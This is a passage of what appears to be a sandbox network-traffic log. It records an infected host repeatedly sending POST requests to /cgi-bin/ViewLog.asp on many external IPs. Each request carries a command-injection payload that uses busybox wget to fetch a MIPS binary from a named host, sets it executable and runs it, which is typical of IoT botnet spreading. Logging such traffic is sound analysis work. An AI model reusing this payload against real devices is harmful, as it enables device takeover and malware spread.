Nov 23, 2023 05:18:09.830177069 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:14.438174963 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
685	192.168.2.13	38550	94.236.167.165	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:05.814963102 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
686	192.168.2.13	35278	31.200.106.206	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:05.828485012 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
687	192.168.2.13	34772	95.86.95.165	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:05.845829964 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
688	192.168.2.13	46474	94.120.215.111	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:06.474982977 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
689	192.168.2.13	52652	31.136.79.18	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:06.621438026 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:07.206188917 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:08.358181000 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:10.854201078 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:15.462160110 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
690	192.168.2.13	47584	31.136.247.59	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:06.997548103 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:07.558219910 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:08.710170984 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:11.110198975 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:15.718172073 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
691	192.168.2.13	60094	95.163.16.92	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:07.032563925 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:07.245387077 CET	464	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.10.2 Date: Thu, 23 Nov 2023 04:18:07 GMT Content-Type: text/html Content-Length: 195 Connection: keep-alive WWW-Authenticate: Basic realm="closed area" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>401 Authorization Required</title></head><body bgcolor="white"><center><h1>401 Authorization Required</h1></center><hr><center>nginx/1.10.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
692	192.168.2.13	37550	85.214.68.46	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:07.034025908 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:07.267640114 CET	239	IN	HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 1050 Date: Thu, 23 Nov 2023 04:18:07 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
693	192.168.2.13	48440	94.120.213.107	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:07.036712885 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
694	192.168.2.13	41338	94.122.222.52	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:07.038454056 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
695	192.168.2.13	50086	95.81.92.178	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:07.076268911 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
696	192.168.2.13	55636	31.136.244.34	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:08.540688992 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.126182079 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:10.278181076 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:12.646173954 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:17.254153967 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
697	192.168.2.13	60140	95.163.16.92	8080

Timestamp	Bytes transferred	Direction	Data
